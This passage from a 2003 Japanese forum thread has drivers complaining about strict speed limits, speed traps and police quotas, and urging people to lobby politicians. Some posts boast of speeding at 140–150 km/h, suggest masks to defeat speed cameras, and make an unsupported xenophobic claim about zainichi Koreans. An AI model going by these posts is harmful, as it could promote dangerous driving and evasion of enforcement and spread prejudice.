危険性の少ない軽微な違反に対しては、警告による指導を積極的に行うこととし、
ことさら身を隠して取締りを行ったり、予防または制止すべきにもかかわらず、
これを黙認してのち検挙したりすることのないよう留意すること。

215 :名無しさん@お腹いっぱい。:03/11/22 18:28 ID:m6iokaUf
>>213
そのサイトどこにあるん?

216 :名無しさん@お腹いっぱい。:03/11/22 18:50 ID:m6iokaUf
>>214
その通達、ドラマ「カバチタレ!」でも取り上げられていたけど
形骸化も甚だしい。
赤い誘導棒以外、ライトは全部消して道路工事のように見せかける「闇検問」
カーブを曲がった所でやる「死角検問」・・・・

あこぎなやり方、日常茶飯事やんけ!!

217 :名無しさん@お腹いっぱい。:03/11/22 20:57 ID:???
今住んでる所(都内)の近くに主要道路あるけど、坂を下ったカーブの先でよく『検問』を見る。
なぜか知らんがその一帯だけ40km/h道路の為、みんな捕まっている。
まさに、「死角検問」!!

あんなやり方して楽しいのか?

218 :名無しさん@お腹いっぱい。:03/11/22 21:23 ID:5Oh1e58K
>>215

検索サイトで見つけました。
安全運転にお役立て下さい。

http://www.koko21.net/

http://www.creage.co.jp/~creage/index.cgi

ただ、情報量が少なかったり、公開取締りだけしか出てないものもあるので「もっと便利なサイト見つけた」という方はレスお願いします。


219 :名無しさん@お腹いっぱい。:03/11/22 22:21 ID:???
>>217
ほんとどうかと思うよね。どうせやるなら
「安全なのに制限速度の低い道路」ではなく
「危険なのに制限速度が高い道路」でやって欲しいよ。
今度そういうの見かけたらゴルァしてやろ。
「ほんとに危険な違反取り締まれよ!!俺たちの金でやってんだろうが!!」
って

220 :名無しさん@お腹いっぱい。:03/11/23 00:45 ID:???
http://tmp2.2ch.net/test/read.cgi/ihan/1061530276/414
>今年度
>「交通違反者納金」が
>
>「826億円」予算化されています。
>
>これは交通違反の罰金をこれだけ徴収するということです。
>
>ソース 財務省発行「財政統計」



だそうだ。おまえらこれってどうよ?

221 :名無しさん@お腹いっぱい。:03/11/23 01:10 ID:???
警察も適当なんだな。ノルマ達成のためで事故防止のためじゃないって
いうことか。

222 :75=120=126:03/11/23 01:36 ID:vfv3Fe4j
44より引用
>>交通違反により、年間1000億近い(826億-引用注)反則金収入が有り、「交通安全対策特別交付金」として「安全の為の設備」に使われているらしい。
>>この予算の具体的な用途や、業者の選定は、一応地方議会の議決を経てるとしても、事実上警察官僚が決めているのではないか?(38や40など参照)
>>一般論として、公共事業は利権になり易いと言われているが、この「交通安全対策特別交付金」についてはどうなんでしょうか?

つまり、反則金収入が無くなったら困る人達がたくさんいる訳だ。
そりゃ熱心に取り締まる罠(w

223 :名無しさん@お腹いっぱい。:03/11/23 01:39 ID:vfv3Fe4j
宛名の「75=120=126」は誤入力です。
失礼しました。

224 :名無しさん@お腹いっぱい。:03/11/23 01:54 ID:???
警察もパチンコ業界の団体に天下りして甘い汁を吸っているらしいし
どうにも腐敗ぶりはひどいね。東京都のカジノが認められないのは
パチンコ関係の圧力だろ?在日の権力は恐ろしいね



225 :ブットビライダー:03/11/24 02:09 ID:yzAzgZUP
高速道路での速度取締りの所をスズキの隼とかカワサキZX12Rで
300キロで通過しようとしても赤旗持ってポリ公出てきますかね?


226 :名無しさん@お腹いっぱい。:03/11/24 02:18 ID:cnORYy5L
そりゃ無理でしょう。
2輪はオービスによる検挙も多分無理(後ろのナンバー写しても運転者を特定出来ない)だし、白バイやパトカーによる追尾式以外は捕まらないんじゃないかな。
もっとも高速道でねずみ捕りが不可能だとすると、4輪でもヘルメットかマスクをしておけば追尾式の白バイやパトカー以外には捕まらないという事になるかも。


227 :ブットビライダー:03/11/24 02:39 ID:yzAzgZUP
226殿 ありがと 今年の頭に一般道で44キロオバーで計測されたオイラ
ポリのネズミ捕り現場見たらイライラする今日この頃

228 :名無しさん@お腹いっぱい。:03/11/24 05:17 ID:Grr3P3B5
イライラは溜め込まない方がいいですよ。
みんなで声を挙げましょう。
厳し過ぎる速度規制にみんなで抗議してみませんか?
過剰なスピード規制に不満を持っている方、是非不満を訴えましょう。
他にも、警察を始めとして官僚のやりかたに不満を持っている方もどうぞ。
「官」は選挙が無いので我々市民の声が届きにくいと思いますが、選挙で選ばれる「政」なら少しは見込みが有るのではないでしょうか?

URLをクリックすると、一旦広告が並んでるページへジャンプするようです。
一番上の「別のサイトにジャンプしようとしています。宜しければ上記のリンクをクリックしてください」をクリックして下さい。
なお、広告の並んでいるページが不快な方は、検索ページで簡単に探せると思います。

自民党 http://www.jimin.jp/ 
左側上から3段目の「募集・申込」をクリックすると細かい項目が出て来るので、一番下の「自民党に物申す」をクリックして下さい。

民主党 http://www.dpj.or.jp/ 
一番上の真中に「メール」欄が有るので、クリックして下さい。

社民党 http://www5.sdp.or.jp/central/12mail.html 
送信先のメールアドレスが出て来ます。

保守新党 http://www.hoshushintoh.com/SITE1PUB/servlet/enquete.EnqueteForm/6 
そのまま送信フォームへ行きます。

共産党 http://www.jcp.or.jp/ 
一番上の真中に「メール」欄が有るので、クリックして下さい。

公明党 http://www.komei.or.jp/ 
ココはメールで問い合わせて電話で話すシステムのようです。
もしメールで投稿出来る方法をご存知の方がいましたら、レス願います。

229 :名無しさん@お腹いっぱい。:03/11/25 08:10 ID:hb1M7Lge
公安委員会には送らないの?

230 :名無しさん@お腹いっぱい。:03/11/25 17:34 ID:S9lWgRbW
だって規制緩和したら
スピード違反の収入がグッっと減っちゃうじゃん。

231 :オデッサ:03/11/25 18:04 ID:DI1Af7/z
》211さんお気遣いありがとう。
今回は殆ど波風なしで単調な往復でした。
ただ、ドタマにきたと言うか運が悪いと言うか?
行きはいわき中央まで1H15Mで快調に行けたが
いわき中央の先のトンネル過ぎたら赤トンボくるくるの
パトが制限の70km/hでちんたら走行、間つめずに
何とか四ツ倉で降りてもらう事を祈りつつ、ついて
言ったが、パト降りずに広野まで行くつもり。
そこでちんたら走行で金払うきにならず自分が降りちゃいました。
その分帰りは、本気でカット飛びました。


232 :名無しさん@お腹いっぱい。:03/11/25 19:35 ID:0VBns4ku
>>231
お疲れ様でした。
高速でパトカーに出会ってノロノロ運転を強いられると、「金返せ!」って言いたくなりますよね。
70kmだったら、地方の信号が少ない場所なら一般道でも変わらないし。

もう一つ頭に来るのが故障車の速度規制。
路肩に停まってるんだから規制の必要が有るかどうかも怪しいけど、故障車の有る場所を通過した後も暫く規制が続いたりしますよね。
多分区間ごとにおおざっぱな規制してるんだろうけど、不要な区間まで規制されたんでは堪りません

公団を民営化したら、高速道路の速度取締りは公団職員がやったらいいんじゃないかと思います。
他の利用者に迷惑を与える速度は(民営化後の)公団が取り締まるようにすれば、多くの人に利用してもらう為にみんなが走りやすい程度の速度規制になるのでは?
金払って走ってるんだから、顧客満足を考えた速度規制にして欲しいですね。


233 :オデッサ:03/11/26 09:44 ID:C+YqPO8R
》232
もうひとつありますよ。
ハンドルにしがみ付いてかつ、前しか見ずそして追い越し
車線を80km/hで永遠に走行するおばちゃん。
これはおばちゃんが悪いのではなく、このおばちゃんに
免許証を交付した公安及び荷担している教習所。
これを自分に置き換えると、シューマッハやライコネンと
一緒に鈴鹿の1コーナーに突っ込んでいくようなものだね。


234 :名無しさん@お腹いっぱい。:03/11/26 16:00 ID:q2gUzzTN
>>233
いますよね〜!
運転技量に応じた速度で走るのは構わないけど、それなら走行車線を走って欲しい。
百歩譲ってどうしても80kmで追い越し車線を走りたいなら、せめて後続車が追いついたら避けて欲しいです。
それも気が付かないなら、せめて左ウインカー出したら気が付いて避けて欲しい。

そもそも追い越すつもりもないのに追い越し車線を走り続けるなんて、車両通行帯区分ですよね。
スピード違反は取り締まるのに、こういう違反は全然取り締まらないんですよね。
警察も、うるさいおばちゃんは苦手なのかな?
左ウインカーを出しても全然気が付いてくれないし、かと言って煽ったりはしたくないので、結局細心の注意を払いながら左から抜く(これも通行帯区分違反だけど)事になるんだけど、交通量が多いとそのおばちゃんの後ろがプチ渋滞と化して抜くに抜けない場合も多いですよね。

こういうマナーこそ、教習所できちんと教えて欲しいものです(怒)。
追い越し車線で後続車が追いついて来たら、すぐに避けるのが最低限のマナーですよね。
例え自車が140kmでも150kmでも、加えて後続車が軽自動車でも、或いは一般道のバイパスとかでもね。


235 :オデッサ:03/11/26 17:46 ID:C+YqPO8R
》234
そうですね、正に走るシケイン”
デモネーこれは俺の創造だけど、こう言うおばちゃん
きっと高速走ると一杯いっぱいだと思うね、つまり
なんかの拍子で追い越し車線に出ちゃったんだけど
戻るに戻れない(そこそこ走行車線にも車が走ってるから)
用は根本的に免許出したらいけない人なのかも?
と言って一般道用とか高速用などと言う免許作ったら
管理できないと思うし。
前に東名の富士付近で4-5kmちんたらおばちゃん居て
やっと走行車線から抜いて横から顔を見たら、ハンドル
しがみ付いてフリーズしてました。
ちなみにこのおばちゃん、後続車にパッシングされようとも
クラクション鳴らされても微動だにしませんでした。
きっと出口まで追い越し車線かも、でも追い越し車線からは
降りれませんね。


236 :名無しさん@お腹いっぱい。:03/11/26 22:05 ID:???
http://kokkai.ndl.go.jp/cgi-bin/KENSAKU/swk_srch.cgi?SESSION=4827&MODE=2

国会会議録検索システム
検索語に「法定速度」や「速度規制」を入力して検索すると、
ここに出てくるような議論が国会でもされているのがわかるよ。
警察官僚がのらりくらりと必死に利権を守っています。


237 :名無しさん@お腹いっぱい。:03/11/26 23:54 ID:3EDjHwtK
>>235
確かにそういう人が高速道路から居なくなってくれれば走り易いですよね。
そして、その人達には公共交通機関を使ってもらうというのも方法かもしれません。
ただ、都市部はそれでも良いかもしれないけど、日本でも車が無いと生活が著しく不便な所も多いんですよね〜。
前に地方に住んでた事が有るんですが、車に乗るなというのはやっぱり酷じゃないかと思うんです。
もっと田舎に行けば、不便どころか車が無いと生活出来ない所も有りますよね。
免許の面で規制するなら、「一般道限定免許」あたりが限界じゃないかな。

あと、免許取る段階で高速講習とかをしても、それこそ一杯一杯でスムーズな走行を覚える余裕なんて無いですよね。
一つの方法として、第1回の免許切り換えを1-2年後(1年経ってから初めての誕生日)にして、その時に高速講習をするというのはどうでしょう(2回目以降の切り換えは、無期限かそれが無理なら10年に1度で十分。勿論講習は不要)。
そして、その時一杯一杯っぽいドライバーは、極力第一車線を走るように指導する(工事で左車線絞ってる場合は別だけど)。
これで結構改善すると思うんですよね。

現状では「遅い車は左を走る」という基本的なマナーさえ、殆ど呼びかけられてませんよね。
道端に溢れる「ゆっくり走ろう・・・」的な看板の、1/10でいいから「左側車線をゆっくり走ろう・・・。右側車線は追い越し用です」に変えてくれれば、それだけでかなり変わると思うんですよね〜。
日本の警察の交通マナーに関する教育って、「遅い事は正義」ですよね。
だから、80kmで走ってる車が平気で右側車線に出るのでは?なんて思ったりもします。

>>236
けっこう政治家も、ドライバーの事を考えてくれてる人が居るんですね〜。
我々も声を挙げて、心ある政治家を側面から援護しましょう(228参照)。
我々有権者(又は将来の有権者)が声を挙げれば、少しは変わるかもしれませんよ♪

238 :名無しさん@お腹いっぱい。:03/11/27 01:41 ID:???
>>236
そっから直じゃとべないよ。
http://kokkai.ndl.go.jp/

検索してみたけど結構おもしろいな。
民主党の津川祥吾・山根隆治マンセー
自民党の笹川堯も軽く触れてるな
でも津川議員はこないだので落選したのね…

警察庁交通局長属憲夫逝ってよし
型通りの答弁ばかりだ

津川祥吾HP
ttp://www5d.biglobe.ne.jp/~noon/
山根隆治HP
ttp://www.r-yamane.com/
笹川堯HP
ttp://www.e-sasagawa.com/
とりあえず応援のメール送ってみますた

239 :名無しさん@お腹いっぱい。:03/11/27 08:03 ID:???
>>>>>>>> 警察署長は例外なく泥棒長吏 <<<<<<<<
鳥越俊太郎『ザ・スクープ』により、従来から内部告発されてきた
巡査の諸手当てを署長が着服しているばかりか、捜査費全てを自らの
飲食代として横領していることが明らかになりました。
この糞チョーリソボー共は部下に下らない取締りを命じ、横領した金を庶民の
違反金で国庫へ返納し、会計検査院に黙認させています。
この闇金顔負けの強盗団を解散させるとともに、歴代警視総監の財産を
差し押さえ、ブタ箱へ放り込まなければなりません。

240 :名無しさん@お腹いっぱい。:03/11/27 17:05 ID:???
>>238
属憲夫ってあれだな。なんつ〜の?名は体を表すっつうの?
なんともそんな感じだな。

241 :オデッサ:03/11/27 18:52 ID:FUV+OG5X
》237
“日本の警察の交通マナーに関する教育って、「遅い事は正義」ですよね。”
貴殿の書いた上記の文言、全ての根源はこの言葉に集約されてます。
これを破壊しないと、何にも変わらない。多分いや絶対だな。
ちなみに今日も水戸まで行って来たが、今の大型Tは速いネー
140-150Kで走っていたがきっちりついて来たよ。空荷だと思うけど
チョイトふらついていたので一瞬運ちゃん“アル”飲んでナキャー
いいなーとも思った。
問題になった東名用賀の追突炎上現場遭遇したもんで。


242 :名無しさん@お腹いっぱい。:03/11/28 04:59 ID:umZgqg6a
>>241
>>東名用賀の追突炎上現場
確か、親子4人で乗ってて子供が焼け死んだ事故ですよね。
大型貨物の速度抑制機も、あの事件の影響が大きかったですよね。

でも、だから速度抑制機って明らかに方向性が間違ってると思います。
90kmだって停まってて追突されたらかなり危険ですし、追突事故自体を抑制する方向で考えるべきではないでしょうか。
居眠りや酒酔いによる大型トラックの追突事故を防止するなら、「アルコールの含まれてない呼気を入れないとエンジンがかからない装置」(既に開発済)
+某社が先日発売した「追突軽減装置」(居眠りの場合、シートベルトを締めつけて起こしてくれるので特に効果的)の方が、安全上はるかに効果的ですよね。
多分「速度抑制機」より高価という面はあるだろうけど、トラック業界にとっても速度を抑えられるよりは負担の少ない方法だと思います。
こんな簡単な代案があるのに、警察は「遅い事は正義」しか考えてないんでしょうね。
全く困った事です。

243 :オデッサ:03/11/28 21:56 ID:AXvIOFBN
》242
マー何はともわれ、抗議行動を地道にやって行く事ねすね
ヤラナキャー変わんないし、しかし爺さんマーク付けるころ
緩和されたら悲しい。
結果、日頃の抵抗運動とPに補足されぬようかつ、
殺さない死なない程度にカッ飛ぶと言うところですね。
週末は久々に鉄道でのんびり小旅行でごあす。

244 :名無しさん@お腹いっぱい。:03/11/28 22:02 ID:???
>居眠りや酒酔いによる大型トラックの追突事故を防止するなら、「アルコールの含まれてない呼気を入れないとエンジンがかからない装置」(既に開発済)

商品化される可能性はないでしょう。
故障などで呼気にアルコールが含まれていたのにエンジンが掛かり、運転して事故を起こしたときのメーカーの責任は?
逆に呼気にアルコールが含まれていないのにエンジンが掛からず、使用者に損害が発生したときのメーカーの責任は?

メーカーも追わなくてよい責任を負おうとはしないでしょう。
よって実用化される可能性はありません。

245 :名無しさん@お腹いっぱい。:03/11/28 23:12 ID:umZgqg6a
>>243
>>爺さんマーク付けるころ緩和されたら悲しい。

そうですね。
だからこそ、一日も早くなんとかなるように呼びかけて行きましょう。
何と言っても、議員さんだって我々が票を入れなければタダの人になっちゃうんだから、多くの人が呼びかければ無視出来ないでしょうし。

>>鉄道でのんびり小旅行

休みの日は鉄道もいいですね〜♪
車窓から眺めを見ながら駅弁食べるのもいいですしね。
何と言っても、ケーサツの心配しなくて済むし(w
お天気良くなるといいですね。

>>244
>>故障などで・・・

では、何故エアバックは実用化されたんでしょうか?
エアバックが開かなくて怪我をしたら誰の責任に・・・、誤作動で怪我をしたら・・・、やっぱり同じ事になりますよね。

246 :名無しさん@お腹いっぱい。:03/11/28 23:13 ID:umZgqg6a
>>238

早速メール送ってみました。
あと、それぞれの所属政党にも津川先生の復活と、山根先生のご健闘と、笹川先生のご健闘を願っている旨と、その理由を送っておきました。
有権者が過度の速度規制問題に強い関心を持ってる事を、伝えるだけでも効果があると思うんですよね。
勿論選挙の時にも、選挙区にきちんと動いてくれてる先生が居れば一票入れるし、周りにも呼びかけたいですね。
あと、比例代表も関心を持ってくれてる先生の多い政党に入れたいですね。




247 :名無しさん@お腹いっぱい。:03/11/29 13:36 ID:???
俺は今の現状で満足はしていないがバランスはある程度取れていると思う。
免許を取ってから12年間、車とバイクで東京、大阪を中心に各地方なんかも相当走ったが
制限速度は確かに現状に合ってないのは感じる。
ただそれは警察の取り締まりのやり方と自己中心的な運転をする人のマナーを改善できれば
相当不満は緩和される程度のものだと思う。
そっちのほうに力を注いだ方がじわじわと確実によくなって行くと思う。

制限速度が緩和されたからといって車に乗っていて色々不満に思う所はあまり改善されないと思う。
軽微なスピード取締りとかからは逃れられるかもしれないけど、流れに乗らないような遅い車はいくら制限速度が
プラス20キロだろうが変わらないだろうし。余計にイライラするかも。

確かにスピードでつかまったときはいいようの無い怒りが込み上げてくるのはわかるが。
大阪、東京でスピードでつかまったことは一度も無かったのに田舎(四国)ではひやひやすることが多い。
実際田舎のほうがつかまる率は高いと思う。
流れもいいし車の過密度が少ないからねらいを定めやすいからね。

248 :名無しさん@お腹いっぱい。:03/11/29 18:54 ID:kMie+QQY
>>247
>>警察の取り締まりのやり方と・・・相当不満は緩和される程度のものだと思う。
青切符のスピード違反は原則として取り締まらないという風にすれば、それほど問題なくなるかもしれないですよね。
でも、法定速度が現状のままである限り、なかなか軽微な取締りをやめないような気もします。
警察にとっても年間一千億近い反則金収入を手放すのは大変な事でしょうし。

でも、取締り方法自体に声を挙げる事も必要ですよね。
納得行かないような取締りを受けた場合にも、「妥当性を欠く」と大いに抗議して、
>>82
>>238
などへどんどんメールで実体を訴えましょう。
多くの市民の反感を買っている事を警察に認識してもらうだけでも、取締りにあたる警察の姿勢に少しでも影響を与えるかもしれませんから。

>>実際田舎のほうがつかまる率は高いと思う。
それは言えますね。
私も、乗ってる距離は圧倒的に首都圏が多いのですが、今までスピードで捕まったのは全て地方のねずみ捕りです。


249 :名無しさん@お腹いっぱい。:03/12/01 08:50 ID:zKnEvrfH
警察官を二万人も増員するらしいけど、白バイ隊員も増やすのかな?


250 :オデッサ:03/12/01 12:52 ID:9qhTQBSt
》249
基本的には対犯罪向けだと思うが。
最近、一部の外国人がらみの窃盗傷害事件も
多発してるし、検挙率の著しい低下も踏まえて
の策と思われる。
現状のままだと、マジ一般の人間が立ち入れない
地区が必ず発生するからな。


251 :オデッサ:03/12/01 16:44 ID:9qhTQBSt
》248
“警察にとっても年間一千億近い反則金収入を手放すのは大変な事でしょうし。
 警察も始めからそのつもりは無かったと思うが、そのうち既成事実となり
それがさらに進化し反則金収入を暗黙の予算化したことは事実でしょうね。
私自身の体験 警察官とのやり取り

日時 今年の8月某日 日曜日AM11:00頃
川崎市内のある右折禁止路地(一方通行のため対向車なし
右折してから今度は逆の一方通行道路の交差点あり)

車で何時も通っている道で、正直右折禁止の認識無し。
当日、何時もの通りその交差点にさしかかり手前より
ウインカーを出して右折の用意。
すると、交差点の左道路にカブバイクの警察官が
一時停車で停止中、こちらも警官がいるので最徐行で
右折した、この時点で自分と警官の目はあっていた。
右折してしばらく走ると(15m程度)この警官が
クラクションを鳴らしながら停車を求めたので
自分は何のことやらわからず停車。
警官(K)と自分(J)のやり取り・・・・

K/運転手さんお宅、今の交差点右折禁止だけど知らなかったの?
J/いや知りませんでした(残念ながらマジ知らなかった)
K/まあ違反は違反だから免許証だして
J/ハイ
K/もっと注意して運転しなきゃー駄目だよ。
  (黙々と反則切符書き始めた。)


252 :オデッサ:03/12/01 16:48 ID:9qhTQBSt
続き
この時点で自分は完全にブチキレタ
K/反則内容を確認してここにサインをして下さい。
J/サインをする前にお宅に聞きたいことがある。
K/なんですか。
J/俺が右折する時ウインカーもずいぶん前から
  出して、さらにゆっくり曲がったよね。
  その時警察官である貴方は俺と目もあわせて
  いたし、その時貴方は俺に警告を与える時間は
  十分あったよね。
  警察の仕事は、まず事故や犯罪を未然に防ぐ事だよね
  この交差点が右折禁止なら当然事故が起こる可能性
  が高いからだよね。
K/話しをさえぎるように・・しかし違反は違反ですから。
J/確かに違反は違反だな、しかしもし右折して事故が
  発生したらあんたらの存在価値なくなるよな。
  事故を未然に防げたのに、防がなかったんだから。
  つまり、貴方は目の前で人が殺されそうになっていても
  ただ見ているだけで、殺された後に犯人を逮捕するんだね。
  こてが、日本の警察の基準なんだね。(と一気にまくし立てた)


253 :オデッサ:03/12/01 16:50 ID:9qhTQBSt
続き
K/いやそうゆうつもりはないが、違反したのは貴方だし・・・・・

J/それとも反則金が徴収できないただの注意ジャー、ノルマが
  達成できないからか?

K/運転手さんそうゆう言い方はないでしょー・・・
J/何はともあれ、貴方は俺に十分警告を与えられたのに与えなかった
  事実。警察の本来の目的である犯罪・違反を未然に防ぐ事を放棄
  した事実。等で納得がいかないのでサインはしない。
  どうしてもサインさせたかったら裁判しよう。
K/ジャーわかった今回は無かった事にするから、次回より気をつける
  ように(自分の職務を実行しないのに偉そうにかつ、しどろもどろに
  免許証を返してきたので)
J/俺も今回は許してやるよと言ってやった。
  (さすがにこの言葉にはムッとしていた)
てなことがありました。(スピードのことではありませんが)


254 :オデッサ:03/12/01 17:01 ID:9qhTQBSt
》245
残念ながら終日 雨雨雨・・・・
当初はレンタカー借りるつもりだったが
雨なので温泉直行。駅まで宿の車に迎えに来てもらい
この2日間ハンドル握りませんでした。
マーその分温泉ざんまいゆっくり休ませて頂きました。


255 :名無しさん@お腹いっぱい。:03/12/01 23:25 ID:+eBy+IE1
>>251-253
事実関係だけでなく、趣旨的に間違ってる場合もきちんと主張すべきですよね。
オデッサさんのような人がどんどん増えれば、警察にとっても不当な取締りはやりにくくなると思います。

おかしいと思っても安易にサインしていては、何も変わりません。
違法な取締りのみならず、不当な取締りに対してもどんどん抗議しましょう。

>>254
雨が続いて残念でした。
でも、温泉気持ち良かったでしょうね♪
そう言えば、最近温泉行ってないな〜。

256 :衆愚政治賛成:03/12/02 02:21 ID:xFfboeBh
お巡りが居なければ何をしてもいいの?「みんながやっているに」ってか?まぁ貴方の啖呵に負けたお巡りも情けないけど・・・

257 :名無しさん@お腹いっぱい。:03/12/02 02:54 ID:3BY91Mwx
>>256
実際、ノルマの事しか考えてないんじゃないかな?
お巡りさんにしてみたら、「ノルマが達成できないからか?」と、まさしく図星な事を言われて返す言葉も無かったんじゃないの?

258 :名無しさん@お腹いっぱい。:03/12/02 03:18 ID:???
>>256
お巡りがいなければ何をしてもいい?
誰もそんなこと言ってないし、なんつうか論点が違うと思われ。


259 :名無しさん@お腹いっぱい。:03/12/02 17:55 ID:9I4Wykd7
>>258
禿同

260 :名無しさん@お腹いっぱい。:03/12/02 22:05 ID:VHrW1Yqm
交通違反の反則金はやはり天下り警察官僚の高給に化けるのか
その上
警察官僚が天下りした企業が4年間で9億7000万円もの脱税!
http://www.weeklypost.com/jp/980501jp/brief/opin_3.html  
http://www2s.biglobe.ne.jp/~tomo_k/link.html

以下、うまくジャンプ出来なかった方の為。

警察天下り企業が脱税-架空領収書による手口発覚
交通信号機のメンテナンスという、きわめて公共性の高い業務を行なう会社が脱税容疑で摘発された。
全国に約16万台ある信号機の約38%を受注していた日本交通管制技術(本社・横浜市)のグループ6社だが、同グループは、93年から97年にかけて約27億円の法人所得を隠し、合計9億73
00万円の法人税を免れていたというもの。すでに日交管社長の天門太陽容疑者(61)をはじめ、13人が逮捕されている。
架空の領収書を使ったりした悪質な脱税事件。特に問題なのは同社グループには、取引関係にあった警視庁や千葉県警、新潟県警など8つの県警から約20人前後の警察OBが幹部として天下っていた
こと。青森、福島、山形、新潟、神奈川などでは他に代わる業者がいないため独占状態だった」(国税当局関係者)つまり同グループは警察との強いパイプを生かして業績を伸ばしてきたわけだ。


261 :名無しさん@お腹いっぱい。:03/12/02 22:12 ID:VHrW1Yqm
続き

さらに同社は秦野章、安藤忠夫の両元警視総監が顧問をつとめていたことも明らかになって
いる。このうち、昨年7月まで顧問をつとめていた安藤氏は同時に(財)日本道路交通情報センターの理
事長でもあった。その安藤氏は本誌の取材にこう語った。
「顧問になったのは秦野さんの事務所から紹介されたから。就任するまで社長とは面識がありま
せんでした。会社のこともほとんど知らなかった。私の仕事は警察時代の経験談を話したり、会合で
職員を激励するようなことが多かったんですが、昨年7月に脱税の話がでて辞めることにしました。
顧問としての給料についてはお答えできません。退職金はもらっていません」
安藤氏は明かさなかったが、仮に顧問としての給与があったとすれば、道路交通情報センター理
事長職の給与との二重取りになる。
会社のことを何も知らずに顧問に就任したと主張する安藤氏、今年の4月1日からは内閣の危機
管理機能強化のために新設された内閣危機管理監に就任している。
こうした警察官僚たちの天下りの横行に評論家の室伏哲郎氏は、こう批判する。
「警察というのは逮捕権を持ち、権力を握る官庁の中でもその頂点にいるといっていい組織
です。これまでこうした“身内”の摘発はされてこなかったんですが、今回はあまりに実態がひどかったのでしょう。その警察内部の腐敗、綱紀のゆるみの一端を垣間見せた事件だと思います」

262 :名無しさん@お腹いっぱい。:03/12/03 07:22 ID:WYfIdjAf
>>251-253
納得できない時には断固サイン拒否。
いつまでもおとなしくサインしてたら、ケーサツはますます横暴になる。

263 :オデッサ:03/12/03 11:28 ID:pZT2wmg2
ポイントのずれた意見があったので再確認。
俺がサインしなかったのは、単純に自分の違反を否定したわけではなく、
警察の職務と思われる事を実行しない警察官が、ドライバーを検挙
する事に納得できないだけ。
当然、納得のいく警察の見解が公で発表されるなら俺は反則金及び
減点に応じるつもり、しかし自分の不手際を棚にあげ違反だ違反だ
と言われてサインしてたら、民主主義は崩壊し警察独裁国家にな
るのでは?俺は一般的に見てもまっとうな事をしたと思うが。

264 :名無しさん@お腹いっぱい。:03/12/03 13:14 ID:???
>>263

国に不満がある人は、税金を納めなくてもいいってことか?


265 :名無しさん@お腹いっぱい。:03/12/03 13:33 ID:???
>264
いや、警察に不満がある人は、刑を受けなくていいってことだろ。
俺もチャリパクして捕まったら、断固として刑を受けない。
>263や俺の考えでは、罪を認めたら民主主義は崩壊し警察独裁国家になる。
一般的に見てもまっとうな事。


266 :名無しさん@お腹いっぱい。:03/12/03 14:24 ID:EgqScOcL
>>264
レスを読む限り、「不満がある人は・・・」なんて全く言ってないと思うのですが。

違法な方法で収集された証拠は、証拠能力を否定されますよね。
これって、単に証拠能力が疑わしいからという事だけじゃなくて、違法な捜査を抑止する目的もありますよね。

警察官の目の前で、誤って交通規制に反する行為が行われようとしているのに、ノルマ稼ぎの為にこれを止めない行為は、明らかに違法ですよね。
それを「違反した事は事実だから」とサインしてたら、結果として警察官による違法な取締りを推奨する事になりませんか?

「結果として違法行為が事実なら、違法な捜査でもOK」というふうになったら、違法行為を摘発する為であれば拷問でも盗聴でもOKという事になりかねないですよ。


267 :オデッサ:03/12/03 14:47 ID:pZT2wmg2
》264
“国に不満がある人は、税金を納めなくてもいいってことか?”
納得がどうしてもいかなく、徹底抗戦するつもりのガッツが
あるならいいんじゃーないの。払わない方法は色々あるからね。
今回の件で俺は絶対に払わないとは一言も言っていない。
ただ警察官が馬鹿の一つ覚えのように、違反を前面にだして
俺の質問に答えないから、こうなっただけ。
もし、警察官が自分の職務に勤勉で自信をもっていれば、
俺に対して徹底抗戦すればすむ事。
俺の意見は筋のはなし。
ここまで話してワカラナキャーもういいよ。カキコの
方向性が違ってきたし、これ以上反論シタキャーほかの板に
行くよ。
まあもともとは制限速度規制に関する事意外をカキコした
俺が悪いんだが。“ご免”

268 :名無しさん@お腹いっぱい。:03/12/03 16:16 ID:QHxvewWQ
>>267
>>もし、警察官が自分の職務に勤勉で自信を
>>もっていれば、俺に対して徹底抗戦すればすむ事。

その通り。
警察官にやましい事がないなら、切符切って送検すればいい訳ですよね。
結果として正式裁判になっても、やましい事がなければ堂々と出廷出来るはず。
それが出来ない以上、警察官にやましい気持があったと考えるのが自然。

269 :名無しさん@お腹いっぱい。:03/12/03 16:40 ID:???
ここは
「《疑問》日本の速度規制って厳し過ぎない?」
だ。

270 :オデッサ:03/12/03 17:19 ID:pZT2wmg2
だから”ご免

271 :名無しさん@お腹いっぱい。:03/12/03 17:55 ID:/JzTkJzS
昨日、静岡にて

トンネル抜けたあと、極めて見晴らしのよい、下り坂の直線を原付で走行中のこと。
白バイ:そこの###左によって止まりなさい。

白バイ:赤キップだよ?何キロ出してたか分かる?
漏れ:わかりません。
白バイ:68キロだよ。原付はね、下り坂でも60超えるような速度はでないようになってるんだよ?
漏れ:(嘘こけ)はぁ。そんなに出てましたか。
白バイ:リミッターきってるだろ?
漏れ:CDIは変えてあります。
白バイ:そういうことをするからよくない。
漏れ:いや、これ貰った車なんですけど、アクセルゆっくりふかしても急発進するんで、危ないから変えたんです。(半分本当)
白バイ:…。二段階右折ってあるでしょ?あれなんのために出来たかわかる?
漏れ:知りません。
白バイ:原付は速度がでないでしょ?だから、右折ラインに入れなくて危険だからできたルールなの。
白バイ:とにかくね、ここ、50キロ規制だけど、同じ速度で走ってた他の車も悪いんだけど、車のつもりで走っちゃだめだよ。
漏れ:ハイ。すいません。

なんとか注意で済みました。ありがとうおまわりさん。ホントだったら38キロオーバー(こわ

272 :名無しさん@お腹いっぱい。:03/12/04 04:04 ID:5cQeldVs
>>271
多分その月のノルマに余裕があったんだと思うけど、それにしてもそういう話聞くと、警官にもたまには良い人が居るのかな?って思うよね。

まあ、ノルマさえなければ、現場の警察官は悪い人ばかりじゃないのかもしれません。
結局、元凶はノルマなんだろうね。
じゃあ、なんでノルマがあるかと言えば、反則金が入って来ないと困る人達がいるという事なんでしょう。
>>260参照
そんな事の為に、ドライバーからの恨みを一身に受けながら、日々事故防止の役に立つとは思えない取締りに明け暮れて一生を過ごす交通課警察官の皆さんって、ある意味気の毒なのかもしれません。
交通課警察官の皆さんは、一日も早く無意味な交通取締り業務から解放されて、もっと人の役に立つ仕事を与えられるべきだと思います。
その為にも、
>>82
>>238
を宜しくお願いします。


273 :名無しさん@お腹いっぱい。:03/12/04 08:45 ID:nIFN4ZF1
厳しいのは当たり前

1.予算達成
速度違反を甘くすると、予算が達成できなくなる。
警察の身勝手な話

2.責任
速度違反を甘くして、事故が増えると、誰かが責任を取る必要がでる。
マスコミの偏重報道が主な責任

274 :名無しさん@お腹いっぱい。:03/12/04 09:21 ID:ib4bVBts
やらせ(笑)

